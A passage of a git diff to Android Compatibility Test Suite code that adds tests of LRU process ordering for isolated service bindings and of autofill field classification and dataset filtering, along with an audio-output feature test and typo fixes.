+        Log.i("XXXXXXXX", "Processes:");
+        int orderI = 0;
+        for (int i = procs.size() - 1; i >= 0; i--) {
+            ProcessRecordProto proc = procs.get(i);
+            logProc(i, proc);
+            final LruOrderItem lru = orderItems[orderI];
+            Log.i("XXXXXXXX", "Expecting uid: " + lru.getUid());
+            int procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
+            if (procUid != lru.getUid()) {
+                if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
+                    while (i > 0) {
+                        i--;
+                        proc = procs.get(i);
+                        logProc(i, proc);
+                        procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
+                        if (procUid == lru.getUid()) {
+                            break;
+                        }
+                    }
+                }
+                if (procUid != lru.getUid()) {
+                    if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
+                        fail("Didn't find expected LRU proc uid=" + lru.getUid());
+                    }
+                    fail("Expected proc uid=" + lru.getUid() + " at found proc "
+                            + printProc(i, proc));
+                }
+            }
+            orderI++;
+            if (orderI >= orderItems.length) {
+                return;
+            }
+        }
+    }
+
+    /**
+     * Test that the system properly orders processes bound by an activity within the
+     * LRU list.
+     */
+    @MediumTest
+    public void testActivityServiceBindingLru() throws Exception {
+        // Bring up the activity we will hang services off of.
+        runLaunchpad(LaunchpadActivity.ACTIVITY_PREPARE);
+
+        final Activity a = getRunningActivity();
+
+        final int CONN_1_1_W = 0;
+        final int CONN_1_1_S = 1;
+        final int CONN_1_2_W = 2;
+        final int CONN_1_2_S = 3;
+        final int CONN_2_1_W = 4;
+        final int CONN_2_1_S = 5;
+        final int CONN_2_2_W = 6;
+        final int CONN_2_2_S = 7;
+        final int CONN_2_3_W = 8;
+        final int CONN_2_3_S = 9;
+
+        // We are going to have both weak and strong references to services, so we can allow
+        // some to go down in the LRU list.
+        final IsolatedConnectionInfo[] connections = new IsolatedConnectionInfo[] {
+                new IsolatedConnectionInfo(1, 1, BINDING_WEAK),
+                new IsolatedConnectionInfo(1, 1, BINDING_STRONG),
+                new IsolatedConnectionInfo(1, 2, BINDING_WEAK),
+                new IsolatedConnectionInfo(1, 2, BINDING_STRONG),
+                new IsolatedConnectionInfo(2, 1, BINDING_WEAK),
+                new IsolatedConnectionInfo(2, 1, BINDING_STRONG),
+                new IsolatedConnectionInfo(2, 2, BINDING_WEAK),
+                new IsolatedConnectionInfo(2, 2, BINDING_STRONG),
+                new IsolatedConnectionInfo(2, 3, BINDING_WEAK),
+                new IsolatedConnectionInfo(2, 3, BINDING_STRONG),
+        };
+
+        final int[] REV_GROUP_1_STRONG = new int[] {
+                CONN_1_2_S, CONN_1_1_S
+        };
+
+        final int[] REV_GROUP_2_STRONG = new int[] {
+                CONN_2_3_S, CONN_2_2_S, CONN_2_1_S
+        };
+
+        final int[] MIXED_GROUP_3_STRONG = new int[] {
+                CONN_2_3_S, CONN_1_1_S, CONN_2_1_S, CONN_2_2_S
+        };
+
+        boolean passed = false;
+
+        try {
+            // Start the group 1 processes as weak.
+            doBind(a, connections, 1, BINDING_WEAK);
+            doUpdateServiceGroup(a, connections, 1, BINDING_WEAK);
+
+            // Wait for them to come up.
+            doWaitForService(connections, 1, BINDING_WEAK);
+
+            // Now fully bind to the services.
+            doBind(a, connections, 1, BINDING_STRONG);
+            doWaitForService(connections, 1, BINDING_STRONG);
+
+            verifyLruOrder(new LruOrderItem[] {
+                    new LruOrderItem(Process.myUid(), 0),
+                    new LruOrderItem(connections[CONN_1_1_W], 0),
+                    new LruOrderItem(connections[CONN_1_2_W], 0),
+            });
+
+            // Now remove the full binding, leaving only the weak.
+            doUnbind(a, connections, 1, BINDING_STRONG);
+
+            // Start the group 2 processes as weak.
+            doBind(a, connections, 2, BINDING_WEAK);
+
+            // Wait for them to come up.
+            doWaitForService(connections, 2, BINDING_WEAK);
+
+            // Set the group and index.  In this case we do it after we know the process
+            // is started, to make sure setting it directly works.
+            doUpdateServiceGroup(a, connections, 2, BINDING_WEAK);
+
+            // Now fully bind to group 2
+            doBind(a, connections, REV_GROUP_2_STRONG);
+
+            verifyLruOrder(new LruOrderItem[] {
+                    new LruOrderItem(Process.myUid(), 0),
+                    new LruOrderItem(connections[CONN_2_1_W], 0),
+                    new LruOrderItem(connections[CONN_2_2_W], 0),
+                    new LruOrderItem(connections[CONN_2_3_W], 0),
+                    new LruOrderItem(connections[CONN_1_1_W], LruOrderItem.FLAG_SKIP_UNKNOWN),
+                    new LruOrderItem(connections[CONN_1_2_W], 0),
+            });
+
+            // Bring group 1 back to the foreground, but in the opposite order.
+            doBind(a, connections, REV_GROUP_1_STRONG);
+
+            verifyLruOrder(new LruOrderItem[] {
+                    new LruOrderItem(Process.myUid(), 0),
+                    new LruOrderItem(connections[CONN_1_1_W], 0),
+                    new LruOrderItem(connections[CONN_1_2_W], 0),
+                    new LruOrderItem(connections[CONN_2_1_W], LruOrderItem.FLAG_SKIP_UNKNOWN),
+                    new LruOrderItem(connections[CONN_2_2_W], 0),
+                    new LruOrderItem(connections[CONN_2_3_W], 0),
+            });
+
+            // Now remove all full bindings, keeping only weak.
+            doUnbind(a, connections, 1, BINDING_STRONG);
+            doUnbind(a, connections, 2, BINDING_STRONG);
+
+            // Change the grouping and importance to make sure that gets reflected.
+            connections[CONN_1_1_W].setGroup(3);
+            connections[CONN_1_1_W].setImportance(1);
+            connections[CONN_2_1_W].setGroup(3);
+            connections[CONN_2_1_W].setImportance(2);
+            connections[CONN_2_2_W].setGroup(3);
+            connections[CONN_2_2_W].setImportance(3);
+            connections[CONN_2_3_W].setGroup(3);
+            connections[CONN_2_3_W].setImportance(4);
+
+            doUpdateServiceGroup(a, connections, 3, BINDING_WEAK);
+
+            // Now bind them back up in an interesting order.
+            doBind(a, connections, MIXED_GROUP_3_STRONG);
+
+            verifyLruOrder(new LruOrderItem[] {
+                    new LruOrderItem(Process.myUid(), 0),
+                    new LruOrderItem(connections[CONN_1_1_W], 0),
+                    new LruOrderItem(connections[CONN_2_1_W], 0),
+                    new LruOrderItem(connections[CONN_2_2_W], 0),
+                    new LruOrderItem(connections[CONN_2_3_W], 0),
+                    new LruOrderItem(connections[CONN_1_2_W], LruOrderItem.FLAG_SKIP_UNKNOWN),
+            });
+
+            passed = true;
+
+        } finally {
+            if (!passed) {
+                List<ProcessRecordProto> procs = getLruProcesses();
+                Log.i("XXXXXXXX", "Processes:");
+                for (int i = procs.size() - 1; i >= 0; i--) {
+                    ProcessRecordProto proc = procs.get(i);
+                    logProc(i, proc);
+                }
+            }
+            doUnbind(a, connections, -1, BINDING_ANY);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 09d99a3..871503f 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -507,7 +507,7 @@
         }
     }
 
-  public void testWifiFeature() throws Exception {
+    public void testWifiFeature() throws Exception {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
             // no WiFi, skip the test
             return;
@@ -522,6 +522,13 @@
         }
     }
 
+    public void testAudioOutputFeature() throws Exception {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) ||
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
+            assertAvailable(PackageManager.FEATURE_AUDIO_OUTPUT);
+        }
+    }
+
     private void assertAvailable(String feature) {
         assertTrue("PackageManager#hasSystemFeature should return true for " + feature,
                 mPackageManager.hasSystemFeature(feature));
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index aab121e..2cae52a 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -28,7 +28,7 @@
 
         <activity android:name=".LoginActivity" >
             <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
                      this app during CTS development... -->
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
@@ -51,7 +51,7 @@
         <activity android:name=".FatActivity" />
         <activity android:name=".VirtualContainerActivity">
             <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
                      this app during CTS development... -->
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
@@ -70,7 +70,7 @@
         <activity android:name=".SimpleSaveActivity"/>
         <activity android:name=".PreSimpleSaveActivity">
             <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
                      this app during CTS development... -->
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
@@ -82,7 +82,7 @@
         <activity android:name=".AttachedContextActivity"/>
         <activity android:name=".DialogLauncherActivity" >
             <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
                      this app during CTS development... -->
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
@@ -97,7 +97,7 @@
         <activity android:name=".OnCreateServiceStatusVerifierActivity"/>
         <activity android:name=".UsernameOnlyActivity" >
             <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
                      this app during CTS development... -->
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
@@ -105,7 +105,7 @@
         </activity>
         <activity android:name=".PasswordOnlyActivity" >
             <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
                      this app during CTS development... -->
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 8b13185..e04a2fc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -36,6 +36,7 @@
 import androidx.annotation.NonNull;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SafeCleanerRule;
 
 import org.junit.Before;
 import org.junit.ClassRule;
@@ -70,7 +71,7 @@
      * Base class for all test cases that use an {@link AutofillActivityTestRule} to
      * launch the activity.
      */
-    // Must be public becaue of @ClassRule
+    // Must be public because of @ClassRule
     public abstract static class AutoActivityLaunch<A extends AbstractAutoFillActivity>
             extends BaseTestCase {
 
@@ -108,7 +109,7 @@
     /**
      * Base class for all test cases that don't require an {@link AutofillActivityTestRule}.
      */
-    // Must be public becaue of @ClassRule
+    // Must be public because of @ClassRule
     public abstract static class ManualActivityLaunch extends BaseTestCase {
 
         @ClassRule
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index aacd200..5c5e881 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -22,6 +22,8 @@
 
 import androidx.annotation.NonNull;
 
+import com.android.compatibility.common.util.SafeCleanerRule;
+
 import org.junit.AssumptionViolatedException;
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 2c82c7a..c03ba04 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -88,6 +88,7 @@
     private final AutofillId[] mFieldClassificationIds;
     private final boolean mFieldClassificationIdsOverflow;
     private final SaveInfoDecorator mSaveInfoDecorator;
+    private final UserData mUserData;
 
     private CannedFillResponse(Builder builder) {
         mResponseType = builder.mResponseType;
@@ -117,6 +118,7 @@
         mFieldClassificationIds = builder.mFieldClassificationIds;
         mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
         mSaveInfoDecorator = builder.mSaveInfoDecorator;
+        mUserData = builder.mUserData;
     }
 
     /**
@@ -239,6 +241,9 @@
         if (mFooter != null) {
             builder.setFooter(mFooter);
         }
+        if (mUserData != null) {
+            builder.setUserData(mUserData);
+        }
         return builder.build();
     }
 
@@ -266,6 +271,7 @@
                 + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
                 + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
                 + ", saveInfoDecorator=" + mSaveInfoDecorator
+                + ", userData=" + mUserData
                 + "]";
     }
 
@@ -304,6 +310,7 @@
         private AutofillId[] mFieldClassificationIds;
         private boolean mFieldClassificationIdsOverflow;
         private SaveInfoDecorator mSaveInfoDecorator;
+        private UserData mUserData;
 
         public Builder(ResponseType type) {
             mResponseType = type;
@@ -492,6 +499,17 @@
             mSaveInfoDecorator = decorator;
             return this;
         }
+
+        /**
+         * Sets the package-specific UserData.
+         *
+         * <p>Overrides the default UserData for field classification.
+         */
+        public Builder setUserData(UserData userData) {
+            assertWithMessage("already set").that(mUserData).isNull();
+            mUserData = userData;
+            return this;
+        }
     }
 
     /**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 3fa3774..7159783 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -22,6 +22,7 @@
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.content.IntentSender;
 import android.platform.test.annotations.AppModeFull;
+import android.widget.EditText;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
@@ -473,4 +474,107 @@
         sendKeyEvent("KEYCODE_B");
         mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
     }
+
+    @Test
+    public void testFilter_resetFilter_chooseFirst() throws Exception {
+        resetFilterTest(1);
+    }
+
+    @Test
+    public void testFilter_resetFilter_chooseSecond() throws Exception {
+        resetFilterTest(2);
+    }
+
+    @Test
+    public void testFilter_resetFilter_chooseThird() throws Exception {
+        resetFilterTest(3);
+    }
+
+    private void resetFilterTest(int number) throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(createPresentation(aa))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(createPresentation(ab))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(createPresentation(b))
+                        .build())
+                .build());
+
+        final String chosenOne;
+        switch (number) {
+            case 1:
+                chosenOne = aa;
+                mActivity.expectAutoFill("aa");
+                break;
+            case 2:
+                chosenOne = ab;
+                mActivity.expectAutoFill("ab");
+                break;
+            case 3:
+                chosenOne = b;
+                mActivity.expectAutoFill("b");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dataset number: " + number);
+        }
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText username = mActivity.getUsername();
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        callback.assertUiShownEvent(username);
+
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // One dataset starts with 'aa'
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa);
+
+        // Filter all out
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert aa is showing again
+        changeUsername("aa");
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets(aa);
+
+        // Delete one more and assert two datasets showing
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Reset back to all choices
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // select the choice
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index 5f2c86d..b0127ff 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -23,11 +23,14 @@
 import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
 import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
 import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.autofillservice.cts.Helper.FieldClassificationResult;
 import android.autofillservice.cts.common.SettingsStateChangerRule;
+import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.FillEventHistory.Event;
 import android.service.autofill.UserData;
@@ -58,7 +61,7 @@
 
     @ClassRule
     public static final SettingsStateChangerRule sUserDataMinValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "5");
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
 
     @ClassRule
     public static final SettingsStateChangerRule sUserDataMaxValueChanger =
@@ -69,10 +72,12 @@
             new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
 
     private AutofillManager mAfm;
+    private Bundle mLast4Bundle = new Bundle();
 
     @Override
     protected void postActivityLaunched() {
         mAfm = mActivity.getAutofillManager();
+        mLast4Bundle.putInt("suffix", 4);
     }
 
     @Test
@@ -91,7 +96,7 @@
         // Check algorithms
         final List<String> names = mAfm.getAvailableFieldClassificationAlgorithms();
         assertThat(names.size()).isAtLeast(1);
-        final String defaultAlgorithm = getDefaultAlgorithm();
+        final String defaultAlgorithm = mAfm.getDefaultFieldClassificationAlgorithm();
         assertThat(defaultAlgorithm).isNotEmpty();
         assertThat(names).contains(defaultAlgorithm);
 
@@ -108,10 +113,12 @@
         enableService();
         mAfm.setUserData(new UserData.Builder("user_data_id", "value", "remote_id")
                 .build());
+        assertThat(mAfm.getUserData()).isNotNull();
         assertThat(mAfm.getUserDataId()).isEqualTo("user_data_id");
         final UserData userData = mAfm.getUserData();
         assertThat(userData.getId()).isEqualTo("user_data_id");
         assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getFieldClassificationAlgorithms()).isNull();
 
         disableService();
         assertThat(mAfm.getUserData()).isNull();
@@ -119,12 +126,21 @@
     }
 
     @Test
+    public void testRequiredAlgorithmsAvailable() throws Exception {
+        enableService();
+        final List<String> availableAlgorithms = mAfm.getAvailableFieldClassificationAlgorithms();
+        assertThat(availableAlgorithms).isNotNull();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
+    }
+
+    @Test
     public void testUserDataConstraints() throws Exception {
         // NOTE: values set by the SettingsStateChangerRule @Rules should have unique values to
         // make sure the getters below are reading the right property.
         assertThat(UserData.getMaxFieldClassificationIdsSize()).isEqualTo(10);
         assertThat(UserData.getMaxUserDataSize()).isEqualTo(9);
-        assertThat(UserData.getMinValueLength()).isEqualTo(5);
+        assertThat(UserData.getMinValueLength()).isEqualTo(4);
         assertThat(UserData.getMaxValueLength()).isEqualTo(50);
         assertThat(UserData.getMaxCategoryCount()).isEqualTo(42);
     }
@@ -147,6 +163,112 @@
         simpleHitTest(true, null);
     }
 
+    @Test
+    public void testMiss_exactMatchAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "t 1234", "cat")
+                .setFieldClassificationAlgorithmForCategory("cat",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "t 5678");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), null);
+    }
+
+    @Test
+    public void testHit_exactMatchLast4Algorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1234", "cat")
+                .setFieldClassificationAlgorithmForCategory("cat",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "T1234");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId, "cat", 1);
+    }
+
+    @Test
+    public void testHit_useDefaultAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1234", "cat")
+                .setFieldClassificationAlgorithm(REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .setFieldClassificationAlgorithmForCategory("dog",
+                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "T1234");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId, "cat", 1);
+    }
+
     private void simpleHitTest(boolean setAlgorithm, String algorithm) throws Exception {
         // Set service.
         enableService();
@@ -366,6 +488,59 @@
     }
 
     @Test
+    public void testHit_manyUserData_manyDetectableFields_differentClassificationAlgo()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "1234", "myId")
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .setFieldClassificationAlgorithmForCategory("myId",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .setFieldClassificationAlgorithmForCategory("otherId",
+                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AutofillId fieldId1 = field1.getAutofillId();
+        final EditText field2 = mActivity.getCell(1, 2);
+        final AutofillId fieldId2 = field2.getAutofillId();
+        final EditText field3 = mActivity.getCell(2, 1);
+        final AutofillId fieldId3 = field3.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(fieldId1, fieldId2)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "E1234"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:   0% u2: 100%
+        mActivity.setText(2, 1, "fULLy"); // u1:   0% u2:  20%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1, new String[] { "myId", "otherId" },
+                                new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2, new String[] { "otherId" },
+                                new float[] { 1.0F }),
+                        new FieldClassificationResult(fieldId3, new String[] { "otherId" },
+                                new float[] { 0.2F })});
+    }
+
+    @Test
     public void testHit_manyUserDataPerField_manyDetectableFields() throws Exception {
         // Set service.
         enableService();
@@ -481,8 +656,61 @@
         assertFillEventForContextCommitted(events.get(0));
     }
 
-    private String getDefaultAlgorithm() {
-        return mAfm.getDefaultFieldClassificationAlgorithm();
+    @Test
+    public void testHit_usePackageUserData() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "TEST1", "cat")
+                .setFieldClassificationAlgorithm(null, null)
+                .build());
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(fieldId)
+                .setUserData(new UserData.Builder("id2", "TEST2", "cat")
+                        .setFieldClassificationAlgorithm(null, null)
+                        .build())
+                .build())
+                .addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "test1");
+
+        // Finish context
+        mAfm.commit();
+
+        final Event packageUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+        assertFillEventForFieldsClassification(packageUserDataEvent, fieldId, "cat", 0.8F);
+
+        // Need to switch focus first
+        mActivity.focusCell(1, 2);
+
+        // Trigger second autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final Event defaultUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+        assertFillEventForFieldsClassification(defaultUserDataEvent, fieldId, "cat", 1.0F);
     }
 
     /*
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
index 70d7471..f0b7bad 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -56,6 +56,7 @@
     @Mock private RemoteViews mHeader;
     @Mock private RemoteViews mFooter;
     @Mock private IntentSender mIntentSender;
+    private final UserData mUserData = new UserData.Builder("id", "value", "cat").build();
 
     @Test
     public void testBuilder_setAuthentication_invalid() {
@@ -109,6 +110,19 @@
     }
 
     @Test
+    public void testBuilder_setUserDataInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder()
+                .setUserData(null));
+    }
+
+    @Test
+    public void testBuilder_setUserDataAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setUserData(mUserData));
+    }
+
+    @Test
     public void testBuilder_setFlag_invalid() {
         assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
     }
@@ -244,5 +258,6 @@
                 () -> mBuilder.setFieldClassificationIds(mAutofillId));
         assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
         assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index e75402c..2e3d308 100644
